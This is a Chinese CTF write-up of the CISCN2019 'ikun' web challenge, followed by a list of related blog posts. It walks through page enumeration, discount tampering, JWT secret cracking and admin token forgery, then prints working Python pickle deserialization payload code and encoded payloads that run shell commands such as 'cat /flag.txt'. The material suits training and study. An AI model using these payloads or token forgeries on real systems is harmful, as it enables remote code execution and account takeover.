[CISCN2019 华北赛区 Day1 Web2]ikun-1|python反序列化
考点:JWT身份伪造、python pickle反序列化、逻辑漏洞
1、打开之后首页界面直接看到了提示信息,信息如下:

2、那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看下一页,此时观察下访问的url地址:http://xxxxxxx.node4.buuoj.cn:81/shop?page=2,很明显这里是要我们修改page参数进行访问,获取到lv6后进行购买,那就用脚本获取下lv6的位置,脚本和结果如下:
脚本代码:
import requests
url = 'http://6d8e46fc-520a-4d0d-a912-e9058186d353.node4.buuoj.cn:81/shop?page='
for i in range(0,2000):
urls = url + str(i)
rs = requests.get(urls)
print("\r", end="")
print('已检测到' + str(i) + '页', end='')
if 'lv6.png' in rs.text:
print('\nlv6在第'+str(i)+'页')
break
结果如下:

3、那就访问第181页并购买lv6,但是因为我们的金额不够,所以这里需要抓取购买请求的数据包并修改和折扣信息,使我们的金额可以成功购买到lv6,结果如下:

4、发现返回的信息中只有一个:/b1g_m4mber,那就尝试访问一下,显示只允许admin账户进行访问,结果如下:

5、抓取访问的数据包,发现其中存在和身份认证有关的jwt,对jwt进行密匙爆破,成功获得密匙:1Kun,这里使用的爆破工具是:https://github.com/brendan-rius/c-jwt-cracker。使用方法:
1、sudo apt-get install libssl-dev(如果失败,则执行sudo apt-get update)
2、sudo make
3、./jwtcrack JWT
最终获得密匙如下:

6、破解密匙后,然后通过我们的密匙生成新的jwt,网站:https://jwt.io/或者brup的JSON Web Token(修改JWT之后,会自动修改抓取数据包中的JWT,这个还是比较方便的)插件,结果如下:



7、使用新生成的jwt替换掉原数据包中的jwt并发送数据包,成功进入到admin账户的界面并查看源代码信息,发现了一个压缩包,结果如下:


8、然后就对代码进行审计,但是因为对python不够了解,所以在网上未发现是python pickle的序列化漏洞,漏洞存在admin.py文件中,代码信息如下:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
然后在网上查找了下利用的方式,需要通过脚本生成payload:ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.,脚本信息如下(不要使用python3):
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))

9、获取到payload之后就在前端找一下become参数,发现参数被隐藏起来了,删除hidden属性,输入payload,点击一键成为大会员抓包(不要忘了修改JWT),获得flag.txt,结果如下:

10、修改脚本中的命令,读取flag.txt文件,修改后的脚本为:
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',))
a = payload()
print urllib.quote(pickle.dumps(a))
payload:ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.,重复步骤9,成功获得flag:flag{8c613da6-9a6e-4eac-ac4e-8076e3af0f7c},结果如下:

[CISCN2019 华北赛区 Day1 Web2]ikun-1|python反序列化的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...
- [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)
简介 原题复现: 考察知识点:逻辑漏洞.JWT伪造.python反序列化 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun
步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...
- [CISCN2019 华北赛区 Day1 Web2]ikun
知识点:逻辑漏洞.jwt密钥破解.python反序列化漏洞 进入靶机查看源码: 提示需要买到lv6,注册账号发现给了1000块钱,根据ctf套路应该是用很低的价格买很贵的lv6,首页翻了几页都没发现l ...
- [CISCN2019 华北赛区 Day1 Web2]ikun-1
考点:JWT身份伪造.python pickle反序列化.逻辑漏洞 1.打开之后首页界面直接看到了提示信息,信息如下: 2.那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看下一 ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
- [CISCN2019 华北赛区 Day1 Web5]CyberPunk
0x00 知识点 PHP伪协议直接读取源码 http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=inde ...
随机推荐
- Kubebuilder模块
CRD创建 Group表示CRD所属的组,它可以支持多种不同版本.不同类型的资源构建,Version表示CRD的版本号,Kind表示CRD的类型 kubebuilder create api --gr ...
- 使用.NetCore自带的后台作业,出入队简单模拟生产者消费者处理请求响应的数据
环境:Core:3.1的项目 说明:由于该方案为个人测试项目,重启时队列中的部分数据很可能会丢失, 对数据有要求的该方案不适用,不能照搬需要持久化处理, 另外发布到Linux Docker中通常不会自 ...
- Java方法读取文件内容
一.针对文件内容的读取,在平时的工作中想必是避免不了的操作,现在我将自己如何用java方法读取文件中内容总结如下:废话不多说,直接上代码: 1 public static void main(Stri ...
- 全网求解,用Python处理一个基础题目
昨天在群里看见一个Python的问题,趁着今天有那么一点点时间,就想把这个题目分享出来,让大家一起解决.毕竟三个臭皮匠,赛过诸葛亮.原始数据如下: 1 origin_lst = [0, 0, 1, 2 ...
- Python自动化办公:批量将文件按分类保存,文件再多,只需一秒钟解决
序言 (https://jq.qq.com/?_wv=1027&k=GmeRhIX0) 当我们电脑里面的文本或者或者文件夹太多了,有时候想找到自己想要的文件,只能通过去搜索文件名,要是名字忘记 ...
- 写for循环快捷生成方式
在编写代码过程常常会使用到for循环,这里给大家介绍一种快捷写法len.fori+回车键(其中len为循环长度)举个栗子,编写10次循环 8.fori
- Autograd: 自动求导
Pytorch中神经网络包中最核心的是autograd包,我们先来简单地学习它,然后训练我们第一个神经网络. autograd包为所有在tensor上的运算提供了自动求导的支持,这是一个逐步运行的框架 ...
- FileNameFilter过滤器的使用和Lambda优化程序--IO概述(概念&分类)
FileNameFilter过滤器的使用和Lambda优化程序 public class Demo02Filter { public static void main(String[] args) { ...
- 攻防世界MISC进阶区---41-45
41.Get-the-key.txt 得到无类型文件,扔进kali中,strings一下,得到了一堆像flag的内容 扔进010 Editor中,搜索关键字,发现一堆文件,改后缀为zip 打开,直接得 ...
- 《吐血整理》保姆级系列教程-玩转Fiddler抓包教程(4)-会话面板和HTTP会话数据操作详解
1.简介 按照从上往下,从左往右的计划,今天就轮到介绍和分享Fiddler的会话面板了. 2.会话列表 (Session list) 概览 Fiddler抓取到的每条http请求(每一条称为一个ses ...